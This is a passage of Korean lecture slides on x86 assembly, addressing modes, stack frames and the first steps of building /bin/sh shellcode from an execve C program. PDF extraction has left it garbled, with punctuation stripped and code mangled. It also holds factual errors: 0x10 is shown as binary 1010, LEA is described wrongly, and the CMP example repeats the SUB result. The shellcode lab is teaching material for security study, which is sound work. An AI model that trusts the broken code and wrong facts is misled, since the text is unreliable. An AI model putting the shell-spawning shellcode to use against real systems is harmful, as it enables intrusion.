중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

